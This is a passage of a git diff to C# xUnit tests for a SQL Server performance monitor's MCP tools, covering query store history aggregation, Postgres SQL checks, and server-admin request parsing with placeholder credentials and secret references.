-        Assert.Equal(new[] { "server_name", "trend_hours_back" }, mcpParams.Select(p => p.Name).ToArray());
+        /* #5244 PR5: database_name is appended LAST (the Lite twin's order), and optional. */
+        Assert.Equal(new[] { "server_name", "trend_hours_back", "database_name" }, mcpParams.Select(p => p.Name).ToArray());
+        Assert.True(mcpParams.Single(p => p.Name == "database_name").HasDefaultValue, "database_name must be optional");
         Assert.True(mcpParams.Single(p => p.Name == "server_name").HasDefaultValue, "server_name must be optional");
 
         /* The trend is an OPT-IN: 0 means snapshot-only, so a default call stays one cheap read. */
@@ -128,6 +130,26 @@ public void Reads_ArePostgresDialect_NoTsqlIsms(string sqlName)
         Assert.DoesNotContain("@", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("N'", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("getdate", sql.ToLowerInvariant());
-        Assert.DoesNotContain("[", sql, StringComparison.Ordinal);
+        /* #5244: the database filter binds a text[] ("::text[]"), the one Postgres use of a bracket; T-SQL [identifiers] stay banned. */
+        Assert.DoesNotContain("[", sql.Replace("::text[]", "", StringComparison.Ordinal), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PvsStatsLatestSql_ReadsTheThreeSkippedCounters()
+    {
+        var sql = DarlingPvsReader.PvsStatsLatestSql;
+        Assert.Contains("pvs_off_row_page_skipped_low_water_mark", sql, StringComparison.Ordinal);
+        Assert.Contains("pvs_off_row_page_skipped_min_useful_xts", sql, StringComparison.Ordinal);
+        Assert.Contains("pvs_off_row_page_skipped_oldest_aborted_xdesid", sql, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(97388L, 1244L, 96144L)]
+    [InlineData(97388L, 0L, null)]
+    [InlineData(0L, 1244L, null)]
+    [InlineData(null, 1244L, null)]
+    public void AbortedLag_IsTheGap_ButNullThroughTheZeroSentinel(long? active, long? aborted, long? expected)
+    {
+        Assert.Equal(expected, DarlingMcpPvsTools.AbortedLag(active, aborted));
     }
 }
diff --git a/Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs b/Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs
new file mode 100644
index 0000000000..2527904cdd
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingMcpQueryStoreHistoryToolsTests.cs
@@ -0,0 +1,182 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Reflection;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>#5234: the surface and the per-plan fold of get_query_store_query_history.</summary>
+public sealed class DarlingMcpQueryStoreHistoryToolsTests
+{
+    private static MethodInfo Tool() =>
+        typeof(DarlingMcpQueryStoreHistoryTools).GetMethod(nameof(DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory))!;
+
+    [Fact]
+    public void TheToolName_AndItsHeadDescription_AreWithinTheBudget()
+    {
+        var attribute = Tool().GetCustomAttribute<McpServerToolAttribute>()!;
+        Assert.Equal("get_query_store_query_history", attribute.Name);
+        var description = Tool().GetCustomAttribute<DescriptionAttribute>()!.Description;
+        var head = description[..description.IndexOf("<<GUIDE>>", StringComparison.Ordinal)].Trim();
+        Assert.True(head.Length <= 160, $"the head is {head.Length} characters");
+    }
+
+    [Fact]
+    public void TheRequiredParameters_AreExactlyTheDatabaseAndTheQueryId()
+    {
+        var required = Tool().GetParameters()
+            .Where(p => !p.HasDefaultValue && p.ParameterType != typeof(Npgsql.NpgsqlDataSource))
+            .Select(p => p.Name)
+            .OrderBy(n => n, StringComparer.Ordinal);
+        Assert.Equal(new[] { "database_name", "query_id" }, required);
+    }
+
+    [Fact]
+    public void TheHistorySql_DedupesPerInterval_OnTheSharedPartition()
+    {
+        Assert.Contains("PARTITION BY plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc, replica_role",
+            DarlingMcpQueryStoreHistoryTools.HistorySql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY collection_time DESC, execution_count DESC", DarlingMcpQueryStoreHistoryTools.HistorySql, StringComparison.Ordinal);
+        Assert.Contains("WHERE rn = 1", DarlingMcpQueryStoreHistoryTools.HistorySql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFold_WeightsAveragesByExecutions_AndTotalsPerPlan()
+    {
+        var t0 = new DateTime(2026, 3, 4, 5, 0, 0, DateTimeKind.Unspecified);
+        var rows = new List<DarlingMcpQueryStoreHistoryTools.HistoryRow>
+        {
+            new(7, t0, 10, 100, 40, t0.AddMinutes(-60), t0, false),
+            new(7, t0.AddHours(1), 30, 200, 80, t0.AddMinutes(-5), t0.AddHours(1), true),
+            new(3, t0, 5, null, null, null, null, false),
+        };
+        var plans = DarlingMcpQueryStoreHistoryTools.FoldPlans(rows);
+        Assert.Equal(new long[] { 3, 7 }, plans.Select(p => p.PlanId));
+        var p7 = plans[1];
+        Assert.Equal(40, p7.ExecutionCount);
+        Assert.Equal(10 * 100 + 30 * 200, p7.TotalDurationMs);
+        Assert.Equal(7000.0 / 40, p7.AvgDurationMs);
+        Assert.Equal(10 * 40 + 30 * 80, p7.TotalCpuMs);
+        Assert.Equal(2800.0 / 40, p7.AvgCpuMs);
+        Assert.Equal(t0.AddMinutes(-60), p7.FirstExecutionTime);
+        Assert.Equal(t0.AddHours(1), p7.LastExecutionTime);
+        Assert.True(p7.IsForcedPlan);
+        Assert.False(plans[0].IsForcedPlan);
+        Assert.Equal(0, plans[0].TotalDurationMs);
+    }
+
+    private static DarlingMcpQueryStoreHistoryTools.HistoryRow Row(long plan, DateTime at, long executions, double? durationMs, double? cpuMs = null) =>
+        new(plan, at, executions, durationMs, cpuMs, null, null, false);
+
+    [Fact]
+    public void TheFold_GivesOnePointPerPlanAndInstant_CombiningOutcomesAndReplicas_ExecutionWeighted()
+    {
+        var t = new DateTime(2026, 3, 4, 5, 0, 0, DateTimeKind.Unspecified);
+        var rows = new[]
+        {
+            Row(7, t, 1000, 5),                // Regular
+            Row(7, t, 2, 30_000),              // Aborted, same instant
+            Row(9, t, 10, 100, 10),            // one replica
+            Row(9, t, 30, 200, 30),            // another replica
+            Row(7, t.AddMinutes(15), 40, 5.123456789),
+        };
+        var points = DarlingMcpQueryStoreHistoryTools.FoldPoints(rows);
+        Assert.Equal(new[] { (7L, t), (9L, t), (7L, t.AddMinutes(15)) }, points.Select(p => (p.PlanId, p.CollectionTime)));
+        Assert.Equal(1002, points[0].ExecutionCount);
+        Assert.Equal((1000 * 5 + 2 * 30_000.0) / 1002, points[0].AvgDurationMs!.Value, 9);
+        Assert.Equal(40, points[1].ExecutionCount);
+        Assert.Equal((10 * 100 + 30 * 200.0) / 40, points[1].AvgDurationMs!.Value, 9);
+        Assert.Equal((10 * 10 + 30 * 30.0) / 40, points[1].AvgCpuMs!.Value, 9);
+        Assert.Equal(5.123456789, points[2].AvgDurationMs);   // a lone row passes through unchanged
+    }
+
+    [Fact]
+    public void DroppedPlans_DoNotUseUpThePointCap()
+    {
+        var t = new DateTime(2026, 3, 4, 0, 0, 0, DateTimeKind.Unspecified);
+        var rows = new List<DarlingMcpQueryStoreHistoryTools.HistoryRow>();
+        for (var i = 0; i < 4; i++)
+            foreach (var plan in new long[] { 1, 2, 3, 4 })
+                rows.Add(Row(plan, t.AddMinutes(15 * i), 10, plan));
+        var listed = DarlingMcpQueryStoreHistoryTools.BuildPoints(rows, new long[] { 1, 2 });
+        Assert.Equal(8, listed.Count);
+        Assert.All(listed, p => Assert.True(p.PlanId is 1 or 2));
+        var cut = DarlingMcpQueryStoreHistoryTools.NewestWithinBudget(listed, _ => 1, 4, int.MaxValue);
+        /* A cap of 4 holds the newest two instants of the two listed plans; with plans 3 and 4 in the list it held one instant of all four. */
+        Assert.Equal(new long[] { 1, 2, 1, 2 }, cut.Select(p => p.PlanId));
+        Assert.Equal(
+            new[] { t.AddMinutes(30), t.AddMinutes(30), t.AddMinutes(45), t.AddMinutes(45) }.Select(x => x.ToString("o", CultureInfo.InvariantCulture)),
+            cut.Select(p => p.CollectionTime));
+    }
+
+    [Fact]
+    public void Points_ComeOutInOneOrder_WhateverOrderTheRowsArriveIn()
+    {
+        var t = new DateTime(2026, 3, 4, 0, 0, 0, DateTimeKind.Unspecified);
+        var rows = new[] { Row(9, t, 1, 1), Row(3, t, 1, 1), Row(5, t, 1, 1), Row(5, t, 2, 2), Row(9, t.AddMinutes(-15), 1, 1) };
+        var forward = DarlingMcpQueryStoreHistoryTools.BuildPoints(rows, new long[] { 3, 5, 9 }).Select(p => (p.CollectionTime, p.PlanId)).ToList();
+        var backward = DarlingMcpQueryStoreHistoryTools.BuildPoints(rows.Reverse(), new long[] { 9, 5, 3 }).Select(p => (p.CollectionTime, p.PlanId)).ToList();
+        Assert.Equal(forward, backward);
+        Assert.Equal(new long[] { 9, 3, 5, 9 }, forward.Select(p => p.PlanId));
+    }
+
+    [Fact]
+    public void ThePoint_SerializesWithTheSnakeCaseKeysThePageReads()
+    {
+        var point = new DarlingMcpQueryStoreHistoryTools.HistoryPoint("2026-03-04T05:00:00.0000000", 7, 10, 100, 40);
+        Assert.Equal(
+            "{\"collection_time\":\"2026-03-04T05:00:00.0000000\",\"plan_id\":7,\"execution_count\":10,\"avg_duration_ms\":100,\"avg_cpu_ms\":40}",
+            System.Text.Json.JsonSerializer.Serialize(point));
+    }
+
+    [Fact]
+    public void TheHistoryOrder_IsTotalOverTheDedupedRows_InBothReads()
+    {
+        const string order = "ORDER BY collection_time, plan_id, runtime_stats_interval_id, execution_type_desc, replica_role, first_execution_time";
+        Assert.EndsWith(order, DarlingMcpQueryStoreHistoryTools.HistorySql, StringComparison.Ordinal);
+        Assert.EndsWith(order, DarlingMcpQueryStoreHistoryTools.HistoryTableSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTableRead_TakesTheIntervalTablesOneRowPerInterval_WithNoSecondDedupe()
+    {
+        var sql = DarlingMcpQueryStoreHistoryTools.HistoryTableSql;
+        Assert.Contains("FROM query_store_interval_wide", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE server_id = $1 AND database_name = $2 AND query_id = $3", sql, StringComparison.Ordinal);
+        Assert.Contains("collection_time >= $4 AND collection_time <= $5", sql, StringComparison.Ordinal);
+        Assert.Contains("first_execution_time >= $4 - interval '", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("ROW_NUMBER", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHistory_FollowsTheGridsTierChoice_ThroughTheGridsOwnPreCheckAndGate()
+    {
+        var history = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpQueryStoreHistoryTools.cs");
+        Assert.Contains("DarlingDataReader.QueryStoreTopMayReadTable(start, end)", history, StringComparison.Ordinal);
+        Assert.Contains("QueryStoreIntervalWide.ResolveReadAsync(", history, StringComparison.Ordinal);
+        Assert.Contains("DarlingDataReader.QueryStoreTopMinWindow", history, StringComparison.Ordinal);
+        var reader = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingDataReader.cs");
+        Assert.Contains("if (QueryStoreTopMayReadTable(startUtc, endUtc))", reader, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheHostRegistersTheClass_AndTheWebCatalogListsTheTool()
+    {
+        var host = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpHostService.cs");
+        Assert.Contains("WithGeminiCompatibleTools<DarlingMcpQueryStoreHistoryTools>()", host, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs b/Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs
index 906a9b14eb..dcfe15995d 100644
--- a/Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs
@@ -37,6 +37,8 @@ namespace Darling.Tests;
 /// (case-folded, first-occurrence-wins) is unit-tested directly. The live store INSERT/DELETE + config_version
 /// bump round-trip (probe stubbed to success) is gated below.
 /// </summary>
+[Collection("darling-owned-secrets")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpServerAdminToolsSurfaceTests
 {
     /// <summary>A dead data source (unroutable port) — proves the validate-before-write path bails on a bad request
@@ -51,6 +53,7 @@ public sealed class DarlingMcpServerAdminToolsSurfaceTests
     private static readonly string[] ExpectedToolSurface =
     {
         "add_servers",
+        "edit_server",
         "remove_server",
     };
 
@@ -60,7 +63,7 @@ private static MethodInfo[] ToolMethods() => typeof(DarlingMcpServerAdminTools)
         .ToArray();
 
     [Fact]
-    public void ToolSurface_IsExactlyTheTwoServerAdminTools()
+    public void ToolSurface_IsExactlyTheThreeServerAdminTools()
     {
         var toolMethods = ToolMethods();
         var names = toolMethods
@@ -86,6 +89,7 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
     [Theory]
     [InlineData("add_servers", "servers_json")]
     [InlineData("remove_server", "server_name")]
+    [InlineData("edit_server", "server_name,changes_json")]
     public void ParamContract_MatchesContract(string toolName, string expectedCsv)
     {
         Assert.Equal(expectedCsv.Split(','), McpParams(toolName).Select(p => p.Name).ToArray());
@@ -94,6 +98,7 @@ public void ParamContract_MatchesContract(string toolName, string expectedCsv)
     [Theory]
     [InlineData("add_servers", "servers_json")]
     [InlineData("remove_server", "server_name")]
+    [InlineData("edit_server", "server_name,changes_json")]
     public void ParamContract_BothTools_RequireTheirTarget(string toolName, string requiredCsv)
     {
         var required = McpParams(toolName).Where(p => !p.Optional).Select(p => p.Name)
@@ -111,16 +116,17 @@ public void ParamContract_BothTools_RequireTheirTarget(string toolName, string r
     }
 
     [Fact]
-    public void AdvertisedSchema_IsGeminiClean_ForBothTools()
+    public void AdvertisedSchema_IsGeminiClean_ForEveryTool()
     {
         var tools = BuildToolSchemas();
-        Assert.Equal(2, tools.Count);
+        Assert.Equal(3, tools.Count);
         var violations = tools.Values.SelectMany(t => DarlingMcpSchemaAssert.Violations(t.Name, t.InputSchema)).ToList();
         Assert.True(violations.Count == 0, "Gemini-incompatible schema keywords leaked:\n" + string.Join("\n", violations));
     }
 
     [Theory]
     [InlineData("add_servers", "servers_json")]
+    [InlineData("edit_server", "server_name,changes_json")]
     [InlineData("remove_server", "server_name")]
     public void AdvertisedSchema_RequiredParams_MatchTheContract(string toolName, string expectedCsv)
     {
@@ -318,7 +324,7 @@ public void DescriptionMatchesTheAuthModesTheParserAccepts()
             var json = accepted == "ManagedIdentity"
                 ? "[{\"host\":\"x\",\"auth\":\"ManagedIdentity\"}]"
                 : "[{\"host\":\"x\",\"auth\":\"ServicePrincipal\",\"username\":\"app\",\"password\":\"s\"}]";
-            var (entries, invalid, wholeError) = DarlingMcpServerAdminTools.ParseRequest(json);
+            var (entries, invalid, wholeError) = DarlingMcpServerAdminTools.ParseRequest(json, HealthyKey);
             Assert.Null(wholeError);
             Assert.Empty(invalid);
             Assert.Single(entries);
@@ -677,7 +683,7 @@ public void ParseRequest_SqlEntry_CarriesPlaintextForProbe_AndAllExposedOptions(
         var (entries, invalid, wholeError) = DarlingMcpServerAdminTools.ParseRequest(
             "[{\"host\":\"sql02\",\"display_name\":\"Prod\",\"database\":\"AppDb\",\"auth\":\"SQL\",\"username\":\"monitor\"," +
             "\"password\":\"p@ss\",\"encrypt_mode\":\"Strict\",\"trust_server_certificate\":true,\"read_only_intent\":true}]",
-            isWindows: true);
+            TestKeyRings.Healthy.Status);
 
         Assert.Null(wholeError);
         Assert.Empty(invalid);
@@ -702,7 +708,7 @@ public void ParseRequest_ServicePrincipalEntry_CarriesClientIdAndSecret_ForProbe
         var (entries, invalid, wholeError) = DarlingMcpServerAdminTools.ParseRequest(
             "[{\"host\":\"azuredb.database.windows.net\",\"database\":\"AppDb\",\"auth\":\"ServicePrincipal\"," +
             "\"username\":\"11111111-2222-3333-4444-555555555555\",\"password\":\"the-client-secret\"}]",
-            isWindows: true);
+            TestKeyRings.Healthy.Status);
 
         Assert.Null(wholeError);
         Assert.Empty(invalid);
@@ -820,7 +826,7 @@ public Task<List<string>> LoadStorageKeysAsync(CancellationToken cancellationTok
             Task.FromResult(_visibleToTheGate.ToList());
 
         public Task<int> InsertAsync(
-            DarlingMcpServerAdminTools.ParsedServerEntry entry, string? encryptedPassword, CancellationToken cancellationToken)
+            DarlingMcpServerAdminTools.ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken)
         {
             InsertAttempts++;
             if (InsertAttempts == _faultOnInsert)
@@ -888,17 +894,21 @@ public async Task AddServers_ASaveThatFaults_ReportsEveryEntry_AndProbesNothingA
         }
     }
 
+    private static readonly PasswordKeyStatus HealthyKey = new(true, null, "0123456789abcdef", null);
+
+    private static readonly PasswordKeyStatus NotReadyKey = new(false, DarlingPasswordKey.NotReadyReason, null, null);
+
     [Fact]
-    public void LiteralSecretRefusal_OffWindows_RefusesALiteral_AndNamesTheReferenceForms()
+    public void LiteralSecretRefusal_WhileTheKeyIsNotReady_RefusesALiteral_WithTheKeysReason()
     {
-        var password = DarlingMcpServerAdminTools.LiteralSecretRefusal("p@ss", isWindows: false, isServicePrincipal: false);
+        var password = DarlingMcpServerAdminTools.LiteralSecretRefusal("p@ss", NotReadyKey, isServicePrincipal: false);
         Assert.NotNull(password);
         Assert.Contains("password", password, StringComparison.Ordinal);
-        Assert.Contains("env:NAME", password, StringComparison.Ordinal);
-        Assert.Contains("file:/run/secrets/", password, StringComparison.Ordinal);
+        Assert.Contains(DarlingPasswordKey.NotReadyReason, password, StringComparison.Ordinal);
         Assert.DoesNotContain("p@ss", password, StringComparison.Ordinal);
+        Assert.DoesNotContain("DPAPI", password, StringComparison.Ordinal);
 
-        var clientSecret = DarlingMcpServerAdminTools.LiteralSecretRefusal("s3cret", isWindows: false, isServicePrincipal: true);
+        var clientSecret = DarlingMcpServerAdminTools.LiteralSecretRefusal("s3cret", NotReadyKey, isServicePrincipal: true);
         Assert.NotNull(clientSecret);
         Assert.Contains("client secret", clientSecret, StringComparison.Ordinal);
         Assert.DoesNotContain("s3cret", clientSecret, StringComparison.Ordinal);
@@ -907,66 +917,112 @@ public void LiteralSecretRefusal_OffWindows_RefusesALiteral_AndNamesTheReference
     [Theory]
     [InlineData("env:SQL_PW")]
     [InlineData("file:/run/secrets/sql_password")]
-    public void LiteralSecretRefusal_AReferenceIsAcceptedOnEveryPlatform(string reference)
+    public void LiteralSecretRefusal_AReferenceIsAcceptedWhateverTheKeyStatus(string reference)
     {
-        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal(reference, isWindows: false, isServicePrincipal: false));
-        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal(reference, isWindows: true, isServicePrincipal: false));
+        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal(reference, NotReadyKey, isServicePrincipal: false));
+        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal(reference, HealthyKey, isServicePrincipal: false));
     }
 
     [Fact]
-    public void LiteralSecretRefusal_OnWindows_AcceptsALiteral()
+    public void LiteralSecretRefusal_WithAHealthyKey_AcceptsALiteral_OnAnyPlatform()
     {
-        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal("p@ss", isWindows: true, isServicePrincipal: false));
+        Assert.Null(DarlingMcpServerAdminTools.LiteralSecretRefusal("p@ss", HealthyKey, isServicePrincipal: false));
     }
 
     private const string LiteralSqlPasswordRequest =
-        "[{\"host\":\"sql01\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"p@ss\"}]";
+        "[{\"host\":\"sql-example\",\"auth\":\"SQL\",\"username\":\"monitor\",\"password\":\"p@ss-not-real\"}]";
 
     [Fact]
-    public void ParseRequest_ALiteralPassword_IsInvalidOffWindows_AndAcceptedOnWindows()
+    public void ParseRequest_ALiteralPassword_IsAcceptedWithAHealthyKey_AndRefusedWithTheReasonWhenNotReady()
     {
-        var (offEntries, offInvalid, offWholeError) = DarlingMcpServerAdminTools.ParseRequest(LiteralSqlPasswordRequest, isWindows: false);
-        Assert.Null(offWholeError);
-        Assert.Empty(offEntries);
-        var refused = Assert.Single(offInvalid);
-        Assert.Equal("invalid", refused.Status);
-        Assert.Equal("sql01", refused.Server);
-        Assert.Contains("file:/run/secrets/", refused.Detail, StringComparison.Ordinal);
+        var (entries, invalid, wholeError) = DarlingMcpServerAdminTools.ParseRequest(LiteralSqlPasswordRequest, HealthyKey);
+        Assert.Null(wholeError);
+        Assert.Single(entries);
+        Assert.Empty(invalid);
 
-        var (onEntries, onInvalid, _) = DarlingMcpServerAdminTools.ParseRequest(LiteralSqlPasswordRequest, isWindows: true);
-        Assert.Single(onEntries);
-        Assert.Empty(onInvalid);
+        var (notReadyEntries, notReadyInvalid, _) = DarlingMcpServerAdminTools.ParseRequest(LiteralSqlPasswordRequest, NotReadyKey);
+        Assert.Empty(notReadyEntries);
+        var refused = Assert.Single(notReadyInvalid);
+        Assert.Equal("invalid", refused.Status);
+        Assert.Equal("sql-example", refused.Server);
+        Assert.Contains(DarlingPasswordKey.NotReadyReason, refused.Detail, StringComparison.Ordinal);
+        Assert.DoesNotContain("p@ss-not-real", refused.Detail, StringComparison.Ordinal);
     }
 
-    /// <summary>The overload every caller uses reads the platform it runs on, so on a non-Windows host it is the
-    /// request itself that refuses the literal, before any probe or write.</summary>
+    /// <summary>The overload every caller uses reads the service's key ring, which refuses until the service has loaded
+    /// its key, so the request itself refuses the literal before any probe or write.</summary>
     [Fact]
-    public void ParseRequest_ALiteralPassword_FollowsThePlatformTheTestRunsOn()
+    public void ParseRequest_ALiteralPassword_FollowsTheServicesKeyRing()
     {
         var (entries, invalid, _) = DarlingMcpServerAdminTools.ParseRequest(LiteralSqlPasswordRequest);
 
-        if (OperatingSystem.IsWindows())
+        Assert.Equal(DarlingPasswordKey.Current.Status.CanSeal ? 1 : 0, entries.Count);
+        Assert.Equal(DarlingPasswordKey.Current.Status.CanSeal ? 0 : 1, invalid.Count);
+    }
+
+    /* A lone surrogate cannot arrive through the JSON parser (it is replaced or rejected there), but it can through the
+       host command line and any other caller, so the text check is asked directly. */
+    [Fact]
+    public void SealableTextRefusal_APasswordThatIsNotValidText_IsRefusedBeforeSealing_WithoutEchoingIt()
+    {
+        foreach (var password in new[] { "\ud800", "abc\udc00def" })
         {
-            Assert.Single(entries);
-            Assert.Empty(invalid);
+            var refusal = DarlingMcpServerAdminTools.SealableTextRefusal(password, "sql-example", null, "monitor");
+
+            Assert.Equal(DarlingMcpServerAdminTools.PasswordCharactersText, refusal);
+            Assert.DoesNotContain(password, refusal, StringComparison.Ordinal);
         }
-        else
+    }
+
+    [Fact]
+    public void SealableTextRefusal_AConnectionFieldThatIsNotValidText_IsRefusedBeforeSealing_NamingTheField()
+    {
+        Assert.Equal(
+            DarlingMcpServerAdminTools.FieldCharactersText("username"),
+            DarlingMcpServerAdminTools.SealableTextRefusal("p@ss-not-real", "sql-example", null, "mon\ud800itor"));
+        Assert.Equal(
+            DarlingMcpServerAdminTools.FieldCharactersText("host"),
+            DarlingMcpServerAdminTools.SealableTextRefusal("p@ss-not-real", "sql\udc00-example", null, "monitor"));
+        Assert.Null(DarlingMcpServerAdminTools.SealableTextRefusal("p@ss-not-real", "sql-example", "master", "monitor"));
+    }
+
+    [Fact]
+    public void ParseRequest_APasswordLongerThanASealedValueCanHold_IsRefused()
+    {
+        var json = System.Text.Json.JsonSerializer.Serialize(new[]
         {
-            Assert.Empty(entries);
-            Assert.Equal("invalid", Assert.Single(invalid).Status);
-        }
+            new Dictionary<string, string>
+            {
+                ["host"] = "sql-example", ["auth"] = "SQL", ["username"] = "monitor", ["password"] = new string('x', PasswordSeal.MaxPlaintextBytes + 1),
+            },
+        });
+        var (entries, invalid, _) = DarlingMcpServerAdminTools.ParseRequest(json, HealthyKey);
+
+        Assert.Empty(entries);
+        Assert.Equal(DarlingMcpServerAdminTools.PasswordTooLongText, Assert.Single(invalid).Detail);
+    }
+
+    /// <summary>Sets <see cref="DarlingOwnedSecrets"/> for one test and puts the previous value back on dispose.</summary>
+    private sealed class OwnedSetScope : IDisposable
+    {
+        private readonly DarlingOwnedSet _before = DarlingOwnedSecrets.Current;
+
+        public OwnedSetScope(DarlingOwnedSet? set) => DarlingOwnedSecrets.Set(set!);
+
+        public void Dispose() => DarlingOwnedSecrets.Set(_before);
     }
 
     [Fact]
-    public void ParseRequest_OffWindows_RefusesOnlyTheLiteralEntries_AndKeepsTheReferencesAndTheRest()
+    public void ParseRequest_FromTheHostCommandLine_OffWindows_RefusesOnlyTheLiteralEntries_AndKeepsTheReferencesAndTheRest()
     {
+        using var owned = new OwnedSetScope(DarlingOwnedSet.Empty);
         var (entries, invalid, _) = DarlingMcpServerAdminTools.ParseRequest(
             "[{\"host\":\"win1\"}," +
             "{\"host\":\"sql1\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"literal\"}," +
             "{\"host\":\"sql2\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"file:/run/secrets/sql_password\"}," +
             "{\"host\":\"az1\",\"auth\":\"ServicePrincipal\",\"username\":\"app\",\"password\":\"literal-secret\"}," +
             "{\"host\":\"az2\",\"auth\":\"ServicePrincipal\",\"username\":\"app\",\"password\":\"env:CLIENT_SECRET\"}]",
-            isWindows: false);
+            NotReadyKey, allowSecretReferences: true);
 
         Assert.Equal(new[] { 0, 2, 4 }, entries.Select(e => e.Order).ToArray());
         Assert.Equal(new[] { 1, 3 }, invalid.Select(r => r.Order).ToArray());
@@ -976,6 +1032,20 @@ public void ParseRequest_OffWindows_RefusesOnlyTheLiteralEntries_AndKeepsTheRefe
         Assert.Equal("file:/run/secrets/sql_password", entries[1].PlaintextPassword);
     }
 
+    [Fact]
+    public void ParseRequest_FromTheHostCommandLine_WithNoConfigurationLoaded_RefusesEveryReferenceEntry_AndKeepsTheRest()
+    {
+        using var owned = new OwnedSetScope(null!);
+        var (entries, invalid, _) = DarlingMcpServerAdminTools.ParseRequest(
+            "[{\"host\":\"win1\"}," +
+            "{\"host\":\"sql2\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"file:/run/secrets/sql_password\"}," +
+            "{\"host\":\"sql3\",\"auth\":\"SQL\",\"username\":\"u\",\"password\":\"env:SQL_PASSWORD\"}]",
+            NotReadyKey, allowSecretReferences: true);
+
+        Assert.Equal(new[] { 0 }, entries.Select(e => e.Order).ToArray());
+        Assert.Equal(new[] { 1, 2 }, invalid.Select(r => r.Order).ToArray());
+    }
+
     [Fact]
     public async Task AddServers_AWriteThatChangesNothingBecauseAnotherServerHoldsTheId_AnswersCollides()
     {
@@ -1048,6 +1118,7 @@ public async Task AddServers_AWriteThatChangesNothing_AndNoRowHoldsTheId_IsNotRe
 /// (remove sql2016, re-add via MCP).
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpServerAdminToolsLivePostgresTests
 {
     private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
@@ -1113,7 +1184,7 @@ public async Task AddServers_InsertsEncryptsDedupesBumpsVersion_ThenRemoveServer
                 $"\"encrypt_mode\":\"Strict\",\"trust_server_certificate\":true}}," +
                 $"{{\"host\":\"{winHost}\"}}," +
                 $"{{\"host\":\"{winHost.ToUpperInvariant()}\"}}]";
-            var added = await DarlingMcpServerAdminTools.AddServersAsync(postgres, json, SuccessProbe, ct);
+            var added = await DarlingMcpServerAdminTools.AddServersAsync(postgres, json, SuccessProbe, ct, TestKeyRings.Healthy);
             using (var doc = JsonDocument.Parse(added))
             {
                 Assert.Equal(3, doc.RootElement.GetProperty("requested").GetInt32());
@@ -1128,12 +1199,30 @@ existing trg_bump_monitored_servers trigger — proving the mcp beacon column-gr
             var versionAfter = Convert.ToInt64(await ScalarAsync(connection, ct, "SELECT config_version FROM config_service WHERE id = 1"));
             Assert.True(versionAfter > versionBefore, "config_version should self-bump on a config_monitored_servers write");
 
-            /* SQL server: the password is DPAPI-ENCRYPTED at rest (not plaintext) and round-trips; the exposed TLS
-               options + auth landed as sent. (Darling.Tests is net10.0-windows, so DPAPI is available here.) */
+            /* SQL server: the password is SEALED at rest (not plaintext) and opens with the ring that sealed it, for the
+               connection settings the row holds (#5366); the exposed TLS options + auth landed as sent. */
             var storedSecret = await ScalarAsync(connection, ct, $"SELECT encrypted_password FROM config_monitored_servers WHERE server_id = {sqlId}") as string;
             Assert.False(string.IsNullOrEmpty(storedSecret));
             Assert.NotEqual(password, storedSecret);
-            Assert.Equal(password, DarlingSecrets.Unprotect(storedSecret!));
+            await using (var identityRead = new NpgsqlCommand(
+                $"SELECT {ServerConnectionIdentity.StoredColumns} FROM config_monitored_servers WHERE server_id = {sqlId}", connection))
+            await using (var identityRow = await identityRead.ExecuteReaderAsync(ct))
+            {
+                Assert.True(await identityRow.ReadAsync(ct));
+                var identity = ServerConnectionIdentity.FromStoredColumns(
+                    identityRow.IsDBNull(0) ? null : identityRow.GetString(0),
+                    identityRow.IsDBNull(1) ? null : identityRow.GetInt32(1),
+                    identityRow.IsDBNull(2) ? null : identityRow.GetString(2),
+                    identityRow.IsDBNull(3) ? null : identityRow.GetString(3),
+                    identityRow.GetBoolean(4),
+                    identityRow.IsDBNull(5) ? null : identityRow.GetString(5),
+                    identityRow.IsDBNull(6) ? null : identityRow.GetString(6),
